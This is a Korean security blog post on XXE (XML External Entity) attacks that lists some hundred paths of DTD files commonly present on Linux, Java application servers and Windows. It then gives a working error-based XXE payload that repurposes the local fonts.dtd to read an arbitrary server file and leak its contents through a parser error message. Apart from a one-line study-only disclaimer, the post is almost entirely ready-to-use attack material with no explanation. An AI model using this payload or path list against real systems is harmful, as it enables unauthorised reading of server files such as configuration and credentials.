본문 바로가기
정보보안(웹해킹)/XXE(XML External Entity) Vulnerability

DTD 파일 목록 정리

by 끊임없는정진 2022. 12. 28.

※ 학습 용도로 업로드하며, 해당 파일을 악용할 시의 책임은 본인에게 있음을 밝힙니다.

./properties/schemas/j2ee/XMLSchema.dtd
./../properties/schemas/j2ee/XMLSchema.dtd
./../../properties/schemas/j2ee/XMLSchema.dtd
/usr/share/java/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/java/jsp-api-2.3.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/maven-repo/javax/servlet/jsp/jsp-api/2.0/jsp-api-2.0.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/maven-repo/javax/servlet/jsp/jsp-api/2.1/jsp-api-2.1.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/maven-repo/javax/servlet/jsp/jsp-api/2.1.1/jsp-api-2.1.1.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/maven-repo/javax/servlet/jsp/jsp-api/2.1.2/jsp-api-2.1.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/maven-repo/javax/servlet/jsp/jsp-api/2.2/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd
/u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/struts-config_1_2.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss-client_4_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss-client_4_2.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss-client_5_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss-web_4_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss-web_4_2.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss-web_5_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss_4_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss_4_2.dtd
/opt/jboss-5.1.0.GA/docs/dtd/jboss_5_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/web-facesconfig_1_0.dtd
/opt/jboss-5.1.0.GA/docs/dtd/web-facesconfig_1_1.dtd
/opt/jboss/wildfly/modules/system/layers/base/org/apache/lucene/main/lucene-queryparser-5.5.5.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd
/opt/jboss/wildfly/modules/system/layers/base/org/apache/xml-resolver/main/xml-resolver-1.2.jar!/org/apache/xml/resolver/etc/catalog.dtd
/opt/jboss/wildfly/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-2.0.8.Final.jar!/schema/xmlschema/XMLSchema.dtd
/opt/jboss/wildfly/modules/system/layers/base/org/picketlink/federation/main/picketlink-federation-2.5.5.SP12.jar!/schema/w3c/xmlschema/XMLSchema.dtd
/opt/anaconda2/share/xml/fontconfig/fonts.dtd
/opt/anaconda2/pkgs/fontconfig-2.11.1-5/share/xml/fontconfig/fonts.dtd
/root/usr/share/doc/rh-python34-python-docutils-0.12/docs/ref/docutils.dtd
/root/usr/share/doc/rh-python35-python-docutils-0.12/docs/ref/docutils.dtd
/usr/lib/gap/pkg/GAPDoc-1.6.2/bibxmlext.dtd
/usr/lib/gap/pkg/GAPDoc-1.6.2/gapdoc.dtd
/usr/lib/libreoffice/share/dtd/officedocument/1_0/libraries.dtd
/usr/lib/libreoffice/share/dtd/officedocument/1_0/office.dtd
/usr/lib/libreoffice/share/dtd/officedocument/1_0/toolbar.dtd
/usr/lib/libreoffice/share/dtd/officedocument/1_0/dialog.dtd
/usr/lib/vmware/libconf/etc/fonts/fonts.dtd
/usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd
/usr/share/boostbook/dtd/1.1/boostbook.dtd
/usr/share/boostbook/dtd/boostbook.dtd
/usr/share/dblatex/schema/dblatex-config.dtd
/usr/share/doc/python-docutils-0.12/docs/ref/docutils.dtd
/usr/share/doc/python2-docutils/docs/ref/docutils.dtd
/usr/share/gtksourceview-2.0/language-specs/language.dtd
/usr/share/gtksourceview-3.0/language-specs/language.dtd
/usr/share/gtksourceview-4/language-specs/language.dtd
/usr/share/libgda-5.0/dtd/libgda-paramlist.dtd
/usr/share/libgda-5.0/dtd/libgda-server-operation.dtd
/usr/share/libgweather/locations.dtd
/usr/share/liteide/liteeditor/kate/language.dtd
/usr/share/lv2specgen/DTD/xhtml-basic11.dtd
/usr/share/nmap/nmap.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/xml/docutils/docutils.dtd
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/struts/struts-config_1_0.dtd
/usr/share/struts/struts-config_1_1.dtd
/usr/share/struts/struts-config_1_2.dtd
/usr/share/struts/struts-config_1_3.dtd
/usr/share/struts/struts-config_1_4.dtd
/usr/share/maven-repo/
/usr/share/sgml/dtd/xml-core/catalog.dtd
/usr/share/xml/schema/xml-core/catalog.dtd
/etc/vmware-tools/vgauth/schemas/XMLSchema.dtd
/usr/share/perfsuite/dtds/pshwpc/hwpcprofilereport-0.2.dtd
/usr/share/perfsuite/dtds/pshwpc/hwpcprofilereport-0.3.dtd
/usr/share/perfsuite/dtds/pshwpc/hwpcprofilereport.dtd
/usr/share/perfsuite/dtds/pshwpc/hwpcreport-0.3.dtd
/usr/share/perfsuite/dtds/pshwpc/hwpcreport.dtd
/usr/share/perfsuite/dtds/pshwpc/multihwpcprofilereport-0.2.dtd
/usr/share/perfsuite/dtds/pshwpc/multihwpcprofilereport-0.3.dtd
/usr/share/perfsuite/dtds/pshwpc/multihwpcreport-0.3.dtd
/usr/share/perfsuite/dtds/pshwpc/multihwpcreport.dtd
/usr/share/perfsuite/dtds/pshwpc/psmetrics.dtd
/usr/lib/libreoffice/share/dtd/officedocument/1_0/accelerator.dtd
/usr/share/paros/xml/alert.dtd
/usr/share/zaproxy/xml/alert.dtd
/usr/lib/gap/pkg/GAPDoc-1.6.2/bibxmlext.dtd
/usr/share/boostbook/dtd/1.1/boostbook.dtd
/usr/share/boostbook/dtd/boostbook.dtd
/usr/share/doc/libxml-libxml-perl/examples/complex/complex.dtd
/usr/share/doc/libxml-libxml-perl/examples/complex/dtd/f.dtd
/usr/share/xml/docbook/stylesheet/docbook-xsl/common/l10n.dtd
/usr/share/xml/docbook/xsl-stylesheets-1.79.2/common/l10n.dtd
/usr/share/xml/docbook/xsl-stylesheets-1.79.2-nons/common/l10n.dtd
/usr/share/gtksourceview-2.0/language-specs/language.dtd
/usr/share/gtksourceview-3.0/language-specs/language.dtd
/usr/share/gtksourceview-4/language-specs/language.dtd
./.m2/repository
../.m2/repository
../../.m2/repository
../../../.m2/repository
../../../../.m2/repository
/C:\Windows\System32\wbem\xml\cim20.dtd
/C:\Windows\System32\wbem\xml\wmi20.dtd
/C:\Windows\System32\xwizard.dtd
/C:\Windows\SysWOW64\wbem\xml\cim20.dtd
/C:\Windows\SysWOW64\wbem\xml\wmi20.dtd
/C:\Windows\SysWOW64\xwizard.dtd
/C:\Program Files (x86)\Lotus\Notes\domino.dtd

 

▶ fonts.dtd 파일 repurpose

fonts.dtd

<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
      |name|const
      |or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
      |plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)*>



XXE payload (fonts.dtd repurpose)

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///FILE_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message></message>

 

댓글